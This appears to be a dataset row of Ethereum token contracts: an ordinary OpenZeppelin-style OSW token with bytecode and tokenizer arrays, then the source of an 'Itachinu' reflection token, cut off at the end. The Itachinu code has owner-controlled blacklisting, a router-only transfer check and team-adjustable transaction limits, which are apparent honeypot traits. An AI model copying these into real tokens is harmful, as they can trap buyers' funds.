// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract OSWTOKEN is ERC20("OracleSwapToken", "OSW"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
function burn(address account, uint256 amount) public onlyOwner {
_burn(account, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca61046f565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b03813581169160208101359091169060400135610475565b61021a6104fc565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b038135169060200135610505565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610553565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166105be565b6102886105d9565b6102c0610686565b604080516001600160a01b039092168252519081900360200190f35b61010d61069a565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356106fb565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610762565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356107ca565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166107de565b610288600480360360208110156103ac57600080fd5b50356001600160a01b0316610809565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610912565b8484610916565b50600192915050565b60025490565b6000610482848484610a02565b6104f28461048e610912565b6104ed85604051806060016040528060288152602001610f3c602891396001600160a01b038a166000908152600160205260408120906104cc610912565b6001600160a01b031681526020810191909152604001600020549190610b5d565b610916565b5060019392505050565b60055460ff1690565b6000610466610512610912565b846104ed8560016000610523610912565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610bf4565b61055b610912565b60055461010090046001600160a01b039081169116146105b0576040805162461bcd60e51b81526020600482018190526024820152600080516020610f64833981519152604482015290519081900360640190fd5b6105ba8282610c55565b5050565b6001600160a01b031660009081526020819052604090205490565b6105e1610912565b60055461010090046001600160a01b03908116911614610636576040805162461bcd60e51b81526020600482018190526024820152600080516020610f64833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610703610912565b60055461010090046001600160a01b03908116911614610758576040805162461bcd60e51b81526020600482018190526024820152600080516020610f64833981519152604482015290519081900360640190fd5b6105ba8282610d45565b600061046661076f610912565b846104ed85604051806060016040528060258152602001610fee6025913960016000610799610912565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b5d565b60006104666107d7610912565b8484610a02565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610811610912565b60055461010090046001600160a01b03908116911614610866576040805162461bcd60e51b81526020600482018190526024820152600080516020610f64833981519152604482015290519081900360640190fd5b6001600160a01b0381166108ab5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ece6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3390565b6001600160a01b03831661095b5760405162461bcd60e51b8152600401808060200182810382526024815260200180610fca6024913960400191505060405180910390fd5b6001600160a01b0382166109a05760405162461bcd60e51b8152600401808060200182810382526022815260200180610ef46022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a475760405162461bcd60e51b8152600401808060200182810382526025815260200180610fa56025913960400191505060405180910390fd5b6001600160a01b038216610a8c5760405162461bcd60e51b8152600401808060200182810382526023815260200180610e896023913960400191505060405180910390fd5b610a97838383610e41565b610ad481604051806060016040528060268152602001610f16602691396001600160a01b0386166000908152602081905260409020549190610b5d565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610b039082610bf4565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610bec5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bb1578181015183820152602001610b99565b50505050905090810190601f168015610bde5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c4e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610cb0576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b610cbc60008383610e41565b600254610cc99082610bf4565b6002556001600160a01b038216600090815260208190526040902054610cef9082610bf4565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610d8a5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f846021913960400191505060405180910390fd5b610d9682600083610e41565b610dd381604051806060016040528060228152602001610eac602291396001600160a01b0385166000908152602081905260409020549190610b5d565b6001600160a01b038316600090815260208190526040902055600254610df99082610e46565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b505050565b6000610c4e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b5d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122014a6288d5ae872989412a92e99320f15b55878f8a60e5cc23e94d71670d2da0a64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2063,
2581,
2475,
18939,
7011,
10790,
2278,
2581,
3207,
14526,
2629,
14141,
2620,
2050,
2620,
22407,
16576,
2278,
2620,
27531,
2575,
22394,
2692,
22932,
2278,
2575,
1013,
1008,
4037,
1024,
14721,
26760,
9331,
1012,
8917,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,458 | 0x952e9a7814702d7a39d3bac0f3ec6f5ebe92a23e | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Itachinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Itachinu | t.me/Itachinu";
string private constant _symbol = "Itachinu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) bannedUsers;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _redisfee = 2;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
event WalletBanStatusUpdated(address user, bool banned);
